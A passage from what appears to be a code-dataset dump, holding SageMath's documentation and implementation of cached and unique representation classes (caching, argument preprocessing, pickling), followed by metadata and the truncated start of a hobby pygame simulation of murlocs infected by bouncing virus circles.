with\nPython classes. These can be defined in Cython code (``.pyx`` files) and can\nthus benefit from Cython's speed inside of their methods, but they must not be\n``cdef class`` and can thus not use ``cdef`` attributes or methods.\n\nSuch restrictions do not exist when using a factory. However, if attribute\nassignment does not work, then the automatic pickling provided by\n:class:`~sage.structure.factory.UniqueFactory` will not be available.\n\nWhat is a unique representation?\n================================\n\nInstances of a class have a *unique instance behavior* when instances of this\nclass evaluate equal if and only if they are identical. Sage provides the base\nclass :class:`~sage.misc.fast_methods.WithEqualityById`, which provides\ncomparison by identity and a hash that is determined by the memory address of\nthe instance. Both the equality test and the hash are implemented in Cython\nand are very fast, even when one has a Python class inheriting from\n:class:`~sage.misc.fast_methods.WithEqualityById`.\n\nIn many applications, one wants to combine unique instance and cached\nrepresentation behaviour. This is called *unique representation* behaviour.\nWe have seen above that symmetric groups have a *cached* representation\nbehaviour. However, they do not show the *unique* representation behaviour,\nsince they are equal to groups created in a totally different way, namely to\nsubgroups::\n\n    sage: G = SymmetricGroup(6)\n    sage: G3 = G.subgroup([G((1,2,3,4,5,6)),G((1,2))])\n    sage: G is G3\n    False\n    sage: type(G) == type(G3)\n    False\n    sage: G == G3\n    True\n\nThe unique representation behaviour can conveniently be implemented with a\nclass that inherits from :class:`UniqueRepresentation`: By adding\n:class:`UniqueRepresentation` to the base classes, the class will\nsimultaneously inherit from :class:`CachedRepresentation` and from\n:class:`~sage.misc.fast_methods.WithEqualityById`.\n\nFor example, a symmetric function algebra is uniquely determined by the base\nring. Thus, it is reasonable to use :class:`UniqueRepresentation` in this\ncase::\n\n    sage: isinstance(SymmetricFunctions(CC), SymmetricFunctions)\n    True\n    sage: issubclass(SymmetricFunctions, UniqueRepresentation)\n    True\n\n:class:`UniqueRepresentation` differs from :class:`CachedRepresentation` only\nby adding :class:`~sage.misc.fast_methods.WithEqualityById` as a base\nclass. Hence, the above examples of argument preprocessing work for\n:class:`UniqueRepresentation` as well.\n\nNote that a cached representation created with\n:class:`~sage.structure.factory.UniqueFactory` does *not* automatically\nprovide unique representation behaviour, in spite of its name! Hence, for\nunique representation behaviour, one has to implement hash and equality test\naccordingly, for example by inheriting from\n:class:`~sage.misc.fast_methods.WithEqualityById`.\n\n\"\"\"\n# ****************************************************************************\n#  Copyright (C) 2008 Nicolas M. Thiery <nthiery at users.sf.net>\n#  Copyright (C) 2013 Simon A. King <simon.king at uni-jena.de>\n#\n#  Distributed under the terms of the GNU General Public License (GPL)\n#\n#    This code is distributed in the hope that it will be useful,\n#    but WITHOUT ANY WARRANTY; without even the implied warranty of\n#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n#    General Public License for more details.\n#\n#  The full text of the GPL is available at:\n#\n#                  https://www.gnu.org/licenses/\n# *****************************************************************************\n\nfrom sage.misc.cachefunc import weak_cached_function\nfrom sage.misc.classcall_metaclass import ClasscallMetaclass, typecall\nfrom sage.misc.fast_methods import WithEqualityById\n\n\nclass CachedRepresentation(metaclass=ClasscallMetaclass):\n    \"\"\"\n    Classes derived from CachedRepresentation inherit a weak cache for their\n    instances.\n\n    .. NOTE::\n\n        If this class is used as a base class, then instances are (weakly)\n        cached, according to the arguments used to create the instance.\n        Pickling is provided, of course by using the cache.\n\n    .. NOTE::\n\n        Using this class, one can have arbitrary hash and comparison.\n        Hence, *unique* representation behaviour is *not* provided.\n\n    .. SEEALSO::\n\n        :class:`UniqueRepresentation`, :mod:`~sage.structure.unique_representation`\n\n    EXAMPLES:\n\n    Providing a class with a weak cache for the instances is easy: Just\n    inherit from :class:`CachedRepresentation`::\n\n        sage: from sage.structure.unique_representation import CachedRepresentation\n        sage: class MyClass(CachedRepresentation):\n        ....:     # all the rest as usual\n        ....:     pass\n\n    We start with a simple class whose constructor takes a single\n    value as argument (TODO: find a more meaningful example)::\n\n        sage: class MyClass(CachedRepresentation):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        ....:     def __eq__(self, other):\n        ....:         if type(self) != type(other):\n        ....:             return False\n        ....:         return self.value == other.value\n\n    Two coexisting instances of ``MyClass`` created with the same argument data\n    are guaranteed to share the same identity. Since :trac:`12215`, this is\n    only the case if there is some strong reference to the returned instance,\n    since otherwise it may be garbage collected::\n\n        sage: x = MyClass(1)\n        sage: y = MyClass(1)\n        sage: x is y               # There is a strong reference\n        True\n        sage: z = MyClass(2)\n        sage: x is z\n        False\n\n    In particular, modifying any one of them modifies the other\n    (reference effect)::\n\n        sage: x.value = 3\n        sage: x.value, y.value\n        (3, 3)\n        sage: y.value = 1\n        sage: x.value, y.value\n        (1, 1)\n\n    The arguments can consist of any combination of positional or keyword\n    arguments, as taken by a usual :meth:`__init__ <object.__init__>`\n    function. However, all values passed in should be hashable::\n\n        sage: MyClass(value = [1,2,3])\n        Traceback (most recent call last):\n        ...\n        TypeError: unhashable type: 'list'\n\n    .. rubric:: Argument preprocessing\n\n    Sometimes, one wants to do some preprocessing on the arguments, to\n    put them in some canonical form. The following example illustrates\n    how to achieve this; it takes as argument any iterable, and\n    canonicalizes it into a tuple (which is hashable!)::\n\n        sage: class MyClass2(CachedRepresentation):\n        ....:     @staticmethod\n        ....:     def __classcall__(cls, iterable):\n        ....:         t = tuple(iterable)\n        ....:         return super(MyClass2, cls).__classcall__(cls, t)\n        ....:\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: x = MyClass2([1,2,3])\n        sage: y = MyClass2(tuple([1,2,3]))\n        sage: z = MyClass2(i for i in [1,2,3])\n        sage: x.value\n        (1, 2, 3)\n        sage: x is y, y is z\n        (True, True)\n\n    A similar situation arises when the constructor accepts default\n    values for some of its parameters. Alas, the obvious\n    implementation does not work::\n\n        sage: class MyClass3(CachedRepresentation):\n        ....:     def __init__(self, value = 3):\n        ....:         self.value = value\n        sage: MyClass3(3) is MyClass3()\n        False\n\n    Instead, one should do::\n\n        sage: class MyClass3(UniqueRepresentation):\n        ....:     @staticmethod\n        ....:     def __classcall__(cls, value = 3):\n        ....:         return super(MyClass3, cls).__classcall__(cls, value)\n        ....:\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: MyClass3(3) is MyClass3()\n        True\n\n    A bit of explanation is in order. First, the call ``MyClass2([1,2,3])``\n    triggers a call to ``MyClass2.__classcall__(MyClass2, [1,2,3])``. This is\n    an extension of the standard Python behavior, needed by\n    :class:`CachedRepresentation`, and implemented by the\n    :class:`~sage.misc.classcall_metaclass.ClasscallMetaclass`. Then,\n    ``MyClass2.__classcall__`` does the desired transformations on the\n    arguments. Finally, it uses ``super`` to call the default implementation\n    of ``__classcall__`` provided by :class:`CachedRepresentation`. This one\n    in turn handles the caching and, if needed, constructs and initializes a\n    new object in the class using :meth:`__new__<object.__new__>` and\n    :meth:`__init__<object.__init__>` as usual.\n\n    Constraints:\n\n    - :meth:`__classcall__` is a staticmethod (like, implicitly,\n      :meth:`__new__<object.__new__>`)\n    - the preprocessing on the arguments should be idempotent. That is, if\n      ``MyClass2.__classcall__(<arguments>)`` calls\n      ``CachedRepresentation.__classcall__(<preprocessed_arguments>)``, then\n      ``MyClass2.__classcall__(<preprocessed_arguments>)`` should also result\n      in a call to ``CachedRepresentation.__classcall__(<preprocessed_arguments>)``.\n    - ``MyClass2.__classcall__`` should return the result of\n      :meth:`CachedRepresentation.__classcall__` without modifying it.\n\n    Other than that ``MyClass2.__classcall__`` may play any tricks, like\n    acting as a factory and returning objects from other classes.\n\n    .. WARNING::\n\n        It is possible, but strongly discouraged, to let the ``__classcall__``\n        method of a class ``C`` return objects that are not instances of\n        ``C``. Of course, instances of a *subclass* of ``C`` are fine. Compare\n        the examples in :mod:`~sage.structure.unique_representation`.\n\n    We illustrate what is meant by an \"idempotent\" preprocessing. Imagine\n    that one has instances that are created with an integer-valued argument,\n    but only depend on the *square* of the argument. It would be a mistake to\n    square the given argument during preprocessing::\n\n        sage: class WrongUsage(CachedRepresentation):\n        ....:     @staticmethod\n        ....:     def __classcall__(cls, n):\n        ....:         return super(WrongUsage,cls).__classcall__(cls, n^2)\n        ....:     def __init__(self, n):\n        ....:         self.n = n\n        ....:     def __repr__(self):\n        ....:         return \"Something(%d)\"%self.n\n        sage: import __main__\n        sage: __main__.WrongUsage = WrongUsage # This is only needed in doctests\n        sage: w = WrongUsage(3); w\n        Something(9)\n        sage: w._reduction\n        (<class '__main__.WrongUsage'>, (9,), {})\n\n    Indeed, the reduction data are obtained from the preprocessed\n    arguments. By consequence, if the resulting instance is pickled and\n    unpickled, the argument gets squared *again*::\n\n        sage: loads(dumps(w))\n        Something(81)\n\n    Instead, the preprocessing should only take the absolute value of the\n    given argument, while the squaring should happen inside of the\n    ``__init__`` method, where it won't mess with the cache::\n\n        sage: class BetterUsage(CachedRepresentation):\n        ....:     @staticmethod\n        ....:     def __classcall__(cls, n):\n        ....:         return super(BetterUsage, cls).__classcall__(cls, abs(n))\n        ....:     def __init__(self, n):\n        ....:         self.n = n^2\n        ....:     def __repr__(self):\n        ....:         return \"SomethingElse(%d)\"%self.n\n        sage: __main__.BetterUsage = BetterUsage # This is only needed in doctests\n        sage: b = BetterUsage(3); b\n        SomethingElse(9)\n        sage: loads(dumps(b)) is b\n        True\n        sage: b is BetterUsage(-3)\n        True\n\n    .. rubric:: Cached representation and mutability\n\n    :class:`CachedRepresentation` is primarily intended for implementing\n    objects which are (at least semantically) immutable. This is in\n    particular assumed by the default implementations of ``copy`` and\n    ``deepcopy``::\n\n        sage: copy(x) is x\n        True\n        sage: from copy import deepcopy\n        sage: deepcopy(x) is x\n        True\n\n    However, in contrast to :class:`UniqueRepresentation`, using\n    :class:`CachedRepresentation` allows for a comparison that is not by\n    identity::\n\n        sage: t = MyClass(3)\n        sage: z = MyClass(2)\n        sage: t.value = 2\n\n    Now ``t`` and ``z`` are non-identical, but equal::\n\n        sage: t.value == z.value\n        True\n        sage: t == z\n        True\n        sage: t is z\n        False\n\n    .. rubric:: More on cached representation and identity\n\n    :class:`CachedRepresentation` is implemented by means of a cache.\n    This cache uses weak references in general, but strong references to\n    the most recently created objects. Hence, when all other references\n    to, say, ``MyClass(1)`` have been deleted, the instance is\n    eventually deleted from memory (after enough other objects have been\n    created to remove the strong reference to ``MyClass(1)``). A later\n    call to ``MyClass(1)`` reconstructs the instance from scratch::\n\n        sage: class SomeClass(UniqueRepresentation):\n        ....:     def __init__(self, i):\n        ....:         print(\"creating new instance for argument %s\" % i)\n        ....:         self.i = i\n        ....:     def __del__(self):\n        ....:         print(\"deleting instance for argument %s\" % self.i)\n        sage: class OtherClass(UniqueRepresentation):\n        ....:     def __init__(self, i):\n        ....:         pass\n        sage: O = SomeClass(1)\n        creating new instance for argument 1\n        sage: O is SomeClass(1)\n        True\n        sage: O is SomeClass(2)\n        creating new instance for argument 2\n        False\n        sage: L = [OtherClass(i) for i in range(200)]\n        deleting instance for argument 2\n        sage: del O\n        deleting instance for argument 1\n        sage: O = SomeClass(1)\n        creating new instance for argument 1\n        sage: del O\n        sage: del L\n        sage: L = [OtherClass(i) for i in range(200)]\n        deleting instance for argument 1\n\n    .. rubric:: Cached representation and pickling\n\n    The default Python pickling implementation (by reconstructing an object\n    from its class and dictionary, see \"The pickle protocol\" in the Python\n    Library Reference) does not preserve cached representation, as Python has\n    no chance to know whether and where the same object already exists.\n\n    :class:`CachedRepresentation` tries to ensure appropriate pickling by\n    implementing a :meth:`__reduce__ <object.__reduce__>` method returning the\n    arguments passed to the constructor::\n\n        sage: import __main__             # Fake MyClass being defined in a python module\n        sage: __main__.MyClass = MyClass\n        sage: x = MyClass(1)\n        sage: loads(dumps(x)) is x\n        True\n\n    :class:`CachedRepresentation` uses the :meth:`__reduce__\n    <object.__reduce__>` pickle protocol rather than :meth:`__getnewargs__\n    <object.__getnewargs__>` because the latter does not handle keyword\n    arguments::\n\n        sage: x = MyClass(value = 1)\n        sage: x.__reduce__()\n        (<function unreduce at ...>, (<class '__main__.MyClass'>, (), {'value': 1}))\n        sage: x is loads(dumps(x))\n        True\n\n    .. NOTE::\n\n        The default implementation of :meth:`__reduce__ <object.__reduce__>`\n        in :class:`CachedRepresentation` requires to store the constructor's\n        arguments in the instance dictionary upon construction::\n\n            sage: x.__dict__\n            {'_reduction': (<class '__main__.MyClass'>, (), {'value': 1}), 'value': 1}\n\n        It is often easy in a derived subclass to reconstruct the constructor's\n        arguments from the instance data structure. When this is the case,\n        :meth:`__reduce__ <object.__reduce__>` should be overridden; automagically\n        the arguments won't be stored anymore::\n\n            sage: class MyClass3(UniqueRepresentation):\n            ....:     def __init__(self, value):\n            ....:         self.value = value\n            ....:\n            ....:     def __reduce__(self):\n            ....:         return (MyClass3, (self.value,))\n            sage: import __main__; __main__.MyClass3 = MyClass3  # Fake MyClass3 being defined in a python module\n            sage: x = MyClass3(1)\n            sage: loads(dumps(x)) is x\n            True\n            sage: x.__dict__\n            {'value': 1}\n\n    .. rubric:: Migrating classes to ``CachedRepresentation`` and unpickling\n\n    We check that, when migrating a class to :class:`CachedRepresentation`,\n    older pickles can still be reasonably unpickled. Let us create a\n    (new style) class, and pickle one of its instances::\n\n        sage: class MyClass4(object):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: import __main__; __main__.MyClass4 = MyClass4  # Fake MyClass4 being defined in a python module\n        sage: pickle = dumps(MyClass4(1))\n\n    It can be unpickled::\n\n        sage: y = loads(pickle)\n        sage: y.value\n        1\n\n    Now, we upgrade the class to derive from :class:`UniqueRepresentation`,\n    which inherits from :class:`CachedRepresentation`::\n\n        sage: class MyClass4(UniqueRepresentation, object):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: import __main__; __main__.MyClass4 = MyClass4  # Fake MyClass4 being defined in a python module\n        sage: __main__.MyClass4 = MyClass4\n\n    The pickle can still be unpickled::\n\n        sage: y = loads(pickle)\n        sage: y.value\n        1\n\n    Note however that, for the reasons explained above, unique\n    representation is not guaranteed in this case::\n\n        sage: y is MyClass4(1)\n        False\n\n    .. TODO::\n\n        Illustrate how this can be fixed on a case by case basis.\n\n    Now, we redo the same test for a class deriving from SageObject::\n\n        sage: class MyClass4(SageObject):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: import __main__; __main__.MyClass4 = MyClass4  # Fake MyClass4 being defined in a python module\n        sage: pickle = dumps(MyClass4(1))\n\n        sage: class MyClass4(UniqueRepresentation, SageObject):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: __main__.MyClass4 = MyClass4\n        sage: y = loads(pickle)\n        sage: y.value\n        1\n\n    Caveat: unpickling instances of a formerly old-style class is not supported yet by default::\n\n        sage: class MyClass4:\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: import __main__; __main__.MyClass4 = MyClass4  # Fake MyClass4 being defined in a python module\n        sage: pickle = dumps(MyClass4(1))\n\n        sage: class MyClass4(UniqueRepresentation, SageObject):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n        sage: __main__.MyClass4 = MyClass4\n        sage: y = loads(pickle)  # todo: not implemented\n        sage: y.value            # todo: not implemented\n        1\n\n    .. rubric:: Rationale for the current implementation\n\n    :class:`CachedRepresentation` and derived classes use the\n    :class:`~sage.misc.classcall_metaclass.ClasscallMetaclass`\n    of the standard Python type. The following example explains why.\n\n    We define a variant of ``MyClass`` where the calls to\n    :meth:`__init__<object.__init__>` are traced::\n\n        sage: class MyClass(CachedRepresentation):\n        ....:     def __init__(self, value):\n        ....:         print(\"initializing object\")\n        ....:         self.value = value\n\n    Let us create an object twice::\n\n        sage: x = MyClass(1)\n        initializing object\n        sage: z = MyClass(1)\n\n    As desired the :meth:`__init__<object.__init__>` method was only called\n    the first time, which is an important feature.\n\n    As far as we can tell, this is not achievable while just using\n    :meth:`__new__<object.__new__>` and :meth:`__init__<object.__init__>` (as\n    defined by type; see Section :python:`Basic Customization\n    <reference/datamodel.html#basic-customization>` in the Python Reference\n    Manual). Indeed, :meth:`__init__<object.__init__>` is called\n    systematically on the result of :meth:`__new__<object.__new__>` whenever\n    the result is an instance of the class.\n\n    Another difficulty is that argument preprocessing (as in the example\n    above) cannot be handled by :meth:`__new__<object.__new__>`, since the\n    unprocessed arguments will be passed down to\n    :meth:`__init__<object.__init__>`.\n    \"\"\"\n\n    @weak_cached_function(cache=128)  # automatically a staticmethod\n    def __classcall__(cls, *args, **options):\n        \"\"\"\n        Construct a new object of this class or reuse an existing one.\n\n        See also :class:`CachedRepresentation` and\n        :class:`UniqueRepresentation` for a discussion.\n\n        EXAMPLES::\n\n            sage: x = UniqueRepresentation()\n            sage: y = UniqueRepresentation()\n            sage: x is y   # indirect doctest\n            True\n        \"\"\"\n        instance = typecall(cls, *args, **options)\n        assert isinstance( instance, cls )\n        if instance.__class__.__reduce__ == CachedRepresentation.__reduce__:\n            instance._reduction = (cls, args, options)\n        return instance\n\n    @classmethod\n    def _clear_cache_(cls):\n        \"\"\"\n        Remove all instances of this class from the cache.\n\n        EXAMPLES:\n\n        If ``cls`` overloads :meth:`~sage.structure.unique_representation.CachedRepresentation.__classcall__`,\n        clearing the cache still works, because ``cls.mro()``\n        is searched until a ``__classcall__`` with an attribute\n        ``cache`` is found::\n\n            sage: class A(UniqueRepresentation):\n            ....:     def __init__(self, x):\n            ....:         pass\n            sage: class B(A):\n            ....:     @staticmethod\n            ....:     def __classcall__(cls, *args, **kwds):\n            ....:          return super(B,cls).__classcall__(cls,*args,**kwds)\n            sage: class C(B): pass\n            sage: a = A(1)\n            sage: b = B(2)\n            sage: c = C(3)\n            sage: a is A(1)\n            True\n            sage: b is B(2)\n            True\n            sage: c is C(3)\n            True\n            sage: B._clear_cache_()\n\n        Now, all instances of (sub-classes of) ``B`` have disappeared\n        from the cache::\n\n            sage: a is A(1)\n            True\n            sage: b is B(2)\n            False\n            sage: c is C(3)\n            False\n\n        Here is a similar example, using a private classcall in the class\n        ``B``, which is not inherited by ``C``::\n\n            sage: class A(UniqueRepresentation):\n            ....:     def __init__(self, x):\n            ....:         pass\n            sage: class B(A):\n            ....:     @staticmethod\n            ....:     def __classcall_private__(cls, *args, **kwds):\n            ....:         print(\"Private B\")\n            ....:         return super(B,cls).__classcall__(cls,*args,**kwds)\n            sage: class C(B): pass\n            sage: a = A(1)\n            sage: b = B(2)\n            Private B\n            sage: c = C(3)\n            sage: a is A(1)\n            True\n            sage: b is B(2)\n            Private B\n            True\n            sage: c is C(3)\n            True\n            sage: B._clear_cache_()\n\n        Again, all instances of (sub-classes of) ``B`` have disappeared\n        from the cache::\n\n            sage: a is A(1)\n            True\n            sage: b is B(2)\n            Private B\n            False\n            sage: c is C(3)\n            False\n        \"\"\"\n        del_list = []\n        cache = None\n        for C in cls.mro():\n            try:\n                cache = C.__classcall__.cache\n            except AttributeError:\n                pass\n        for k in cache:\n            if issubclass(k[0][0],cls):\n                del_list.append(k)\n        for k in del_list:\n            del cache[k]\n\n    def __reduce__(self):\n        \"\"\"\n        Return the arguments that have been passed to\n        :meth:`__new__<object.__new__>` to construct this object,\n        as per the pickle protocol.\n\n        See also :class:`CachedRepresentation` and\n        :class:`UniqueRepresentation` for a discussion.\n\n        EXAMPLES::\n\n            sage: x = UniqueRepresentation()\n            sage: x.__reduce__()          # indirect doctest\n            (<function unreduce at ...>, (<class 'sage.structure.unique_representation.UniqueRepresentation'>, (), {}))\n        \"\"\"\n        return (unreduce, self._reduction)\n\n    def __copy__(self):\n        \"\"\"\n        Return ``self``, as a semantic copy of ``self``.\n\n        This assumes that the object is semantically immutable.\n\n        EXAMPLES::\n\n            sage: x = UniqueRepresentation()\n            sage: x is copy(x)    # indirect doctest\n            True\n        \"\"\"\n        return self\n\n    def __deepcopy__(self, memo):\n        \"\"\"\n        Return ``self``, as a semantic deep copy of ``self``.\n\n        This assumes that the object is semantically immutable.\n\n        EXAMPLES::\n\n            sage: from copy import deepcopy\n            sage: x = UniqueRepresentation()\n            sage: x is deepcopy(x)      # indirect doctest\n            True\n        \"\"\"\n        return self\n\ndef unreduce(cls, args, keywords):\n    \"\"\"\n    Calls a class on the given arguments::\n\n        sage: sage.structure.unique_representation.unreduce(Integer, (1,), {})\n        1\n\n    .. TODO::\n\n        should reuse something preexisting ...\n\n    \"\"\"\n    return cls(*args, **keywords)\n\n\nclass UniqueRepresentation(CachedRepresentation, WithEqualityById):\n    r\"\"\"\n    Classes derived from UniqueRepresentation inherit a unique\n    representation behavior for their instances.\n\n    .. SEEALSO::\n\n        :mod:`~sage.structure.unique_representation`\n\n    EXAMPLES:\n\n    The short story: to construct a class whose instances have a\n    unique representation behavior one just has to do::\n\n        sage: class MyClass(UniqueRepresentation):\n        ....:     # all the rest as usual\n        ....:     pass\n\n    Everything below is for the curious or for advanced usage.\n\n    .. rubric:: What is unique representation?\n\n    Instances of a class have a *unique representation behavior* when\n    instances evaluate equal if and only if they are identical (i.e., share\n    the same memory representation), if and only if they were created using\n    equal arguments. For example, calling twice::\n\n        sage: f = SymmetricFunctions(QQ)\n        sage: g = SymmetricFunctions(QQ)\n\n    to create the symmetric function algebra over `\\QQ` actually gives back the\n    same object::\n\n        sage: f == g\n        True\n        sage: f is g\n        True\n\n    This is a standard design pattern. It allows for sharing cached data (say\n    representation theoretical information about a group) as well as for very\n    fast hashing and equality testing. This behaviour is typically desirable\n    for parents and categories. It can also be useful for intensive\n    computations where one wants to cache all the operations on a small set of\n    elements (say the multiplication table of a small group), and access this\n    cache as quickly as possible.\n\n    :class:`UniqueRepresentation` is very easy to use: a class just needs to\n    derive from it, or make sure some of its super classes does. Also, it\n    groups together the class and the factory in a single gadget::\n\n        sage: isinstance(SymmetricFunctions(CC), SymmetricFunctions)\n        True\n        sage: issubclass(SymmetricFunctions, UniqueRepresentation)\n        True\n\n    This nice behaviour is not available when one just uses a factory::\n\n        sage: isinstance(GF(7), GF)  # py2\n        Traceback (most recent call last):\n        ...\n        TypeError: isinstance() arg 2 must be a class, type, or tuple of classes and types\n        sage: isinstance(GF(7), GF)  # py3\n        Traceback (most recent call last):\n        ...\n        TypeError: isinstance() arg 2 must be a type or tuple of types\n\n        sage: isinstance(GF, sage.structure.factory.UniqueFactory)\n        True\n\n    In addition, :class:`~sage.structure.factory.UniqueFactory` only provides\n    the *cached* representation behaviour, but not the *unique* representation\n    behaviour---the examples in :mod:`~sage.structure.unique_representation`\n    explain this difference.\n\n    On the other hand, the :class:`UniqueRepresentation` class is more\n    intrusive, as it imposes a behavior (and a metaclass) on all the\n    subclasses. In particular, the unique representation behaviour is imposed\n    on *all* subclasses (unless the ``__classcall__`` method is overloaded and\n    not called in the subclass, which is not recommended). Its implementation\n    is also more technical, which leads to some subtleties.\n\n    EXAMPLES:\n\n    We start with a simple class whose constructor takes a single value as\n    argument. This pattern is similar to what is done in\n    :class:`sage.combinat.sf.sf.SymmetricFunctions`::\n\n        sage: class MyClass(UniqueRepresentation):\n        ....:     def __init__(self, value):\n        ....:         self.value = value\n\n    Two coexisting instances of ``MyClass`` created with the same argument\n    data are guaranteed to share the same identity. Since :trac:`12215`, this\n    is only the case if there is some strong reference to the returned\n    instance, since otherwise it may be garbage collected::\n\n        sage: x = MyClass(1)\n        sage: y = MyClass(1)\n        sage: x is y               # There is a strong reference\n        True\n        sage: z = MyClass(2)\n        sage: x is z\n        False\n\n    In particular, modifying any one of them modifies the other\n    (reference effect)::\n\n        sage: x.value = 3\n        sage: x.value, y.value\n        (3, 3)\n        sage: y.value = 1\n        sage: x.value, y.value\n        (1, 1)\n\n    When comparing two instances of a unique representation with ``==``\n    or ``!=`` comparison by identity is used::\n\n        sage: x == y\n        True\n        sage: x is y\n        True\n        sage: z = MyClass(2)\n        sage: x == z\n        False\n        sage: x is z\n        False\n        sage: x != y\n        False\n        sage: x != z\n        True\n\n    A hash function equivalent to :meth:`object.__hash__` is used, which is\n    compatible with comparison by identity. However this means that the hash\n    function may change in between Sage sessions, or even within the same Sage\n    session.\n    ::\n\n        sage: hash(x) == object.__hash__(x)\n        True\n\n    .. WARNING::\n\n        It is possible to inherit from\n        :class:`~sage.structure.unique_representation.UniqueRepresentation`\n        and then overload comparison in a way that destroys the unique\n        representation property. We strongly recommend against it!  You should\n        use :class:`~sage.structure.unique_representation.CachedRepresentation`\n        instead.\n\n    .. rubric:: Mixing super types and super classes\n\n    TESTS:\n\n    For the record, this test did fail with previous implementation\n    attempts::\n\n        sage: class bla(UniqueRepresentation, SageObject):\n        ....:     pass\n        sage: b = bla()\n    \"\"\"\n", "meta": {"hexsha": "0a33a338b37e593fef90d33d65abef2907df12ff", "size": 50282, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/structure/unique_representation.py", "max_stars_repo_name": "sensen1/sage", "max_stars_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-03-15T21:45:56.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T21:45:56.000Z", "max_issues_repo_path": "src/sage/structure/unique_representation.py", "max_issues_repo_name": "sensen1/sage", "max_issues_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/structure/unique_representation.py", "max_forks_repo_name": "sensen1/sage", "max_forks_repo_head_hexsha": "d6c5cd9be78cc448ee4c54bac93385b1244a234c", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.9773413897, "max_line_length": 119, "alphanum_fraction": 0.6501332485, "include": true, "reason": "from sage", "num_tokens": 12058, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44167300566462564, "lm_q2_score": 0.19682621306573764, "lm_q1q2_score": 0.08693282511833035}}
{"text": "from cmath import pi\nfrom math import sqrt\nfrom turtle import Screen\nimport pygame\nimport sys\nimport random\nfrom pyparsing import Or\n\n\nfrom scipy import rand\n\nfrom soupsieve import match\nfrom sqlalchemy import case, false\n\npygame.init()\n\n\nSCREEN_WIDTH = 1400\nSCREEN_HEIGHT = 800\nCOLOR_BLACK = (0, 0, 0)\nCOLOR_WHITE = (255, 255, 255)\n\n#Create surface\nsurface = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n\n#Create title\npygame.display.set_caption(\"(^_ ^)\")\n\n#sounds\n\ninfectedsound = pygame.mixer.Sound('BallVeggBounce.wav')\n\n#antall virus og murlocs for \"score\"\nAntM = 0\nAntV = 0\nfont = pygame.font.Font('freesansbold.ttf', 32)\nfontPosx, fontPosy = 20, 20\n\ndef show_score(x, y):\n    scoreV = font.render(\"Virus: \" + str(AntV), True, (255, 255, 255))\n\n\npos_x = SCREEN_WIDTH/2 + random.randrange(-200, 200)\npos_y = SCREEN_HEIGHT/2 + random.randrange(-200, 200)\n\n\n\nrunning = True\n\nmurloclist = []\nviruslist = []\n\ndef move_ball():\n    global pos_x\n    global pos_y\n\n    pos_x += 1\n    pos_y += 1\n\nclass Murloc():\n    def __init__(self):\n        self.x = SCREEN_WIDTH/2 + random.randrange(-200, 200)\n        self.y = SCREEN_HEIGHT/2 + random.randrange(-200, 200)\n        self.infected = False\n        self.size = random.randrange(35, 45)\n        self.color = (255, 0, random.randrange(0, 100))\n        self.spx = random.randrange(-5, 5, 2)\n        self.spy = random.randrange(-5, 5, 2)\n        self.infectedTime = 0\n        \nclass Virus():\n    def __init__(self):\n        self.x = SCREEN_WIDTH/2 + random.randrange(-200, 200)\n        self.y = SCREEN_HEIGHT/2 + random.randrange(-200, 200)\n        self.spx = random.randrange(-7, 7, 2)\n        self.spy = random.randrange(-7, 7, 2)\n        self.size = random.randrange(4, 6)\n        self.infectiousR = random.randrange(0, 95)\n        self.color = (175, self.infectiousR+87, self.infectiousR+100)\n        self.copy = random.randrange(1, 3)\n\n\n\n\ndef create_murloc():\n    return Murloc()\n  #  pygame.draw.circle(surface, m.color, (m.x, m.y), m.size)\n\ndef create_virus():\n    return Virus()\n\ndef move(m: Murloc):\n    \n    Alive = True\n    i = 1000\n\n    while i > 0:\n        move_murlocs()\n\n        i -= 10\n\n\n        pygame.display.update()\n\n        surface.fill(COLOR_BLACK)\n\ndef clone_virus(m: Murloc):\n    for i in range (1, random.randrange(0, 6)):\n        v = create_virus()\n        v.x = m.x\n        v.y = m.y\n        viruslist.append(v)\n\ndef move_murlocs():\n\n    for m in murloclist:\n        if m.x + m.size >= SCREEN_WIDTH or m.x - m.size <= 0:\n            m.spx *= -1\n        if m.y + m.size >= SCREEN_HEIGHT or m.y - m.size <= 0:\n            m.spy *= -1\n        if m.infected == True and m.infectedTime+5000<pygame.time.get_ticks():\n            clone_virus(m)\n            murloclist.remove(m)\n\n       \n        pygame.draw.circle(surface, m.color, (m.x, m.y), m.size)\n        m.x += m.spx\n        m.y += m.spy\n\ndef move_virus():\n\n    for m in viruslist:\n        if m.x + m.size >= SCREEN_WIDTH or m.x - m.size <= 0:\n            m.spx *= -1\n        if m.y + m.size >= SCREEN_HEIGHT or m.y - m.size <= 0:\n            m.spy *= -1\n\n        m.x += m.spx\n        m.y += m.spy\n        pygame.draw.circle(surface, m.color, (m.x, m.y), m.size)\n        # if m.x + m.size >= SCREEN_WIDTH:\n        #     Alive = False\n        # elif m.x - m.size <= SCREEN_WIDTH:\n        #     Alive = False\n        # elif m.y + m.size >= SCREEN_HEIGHT:\n        #     Alive = False\n        # elif m.y - m.size <= SCREEN_HEIGHT:\n        #     Alive = False\n    \ndef infections(murloclist, viruslist):\n    for m in murloclist:\n        for v in 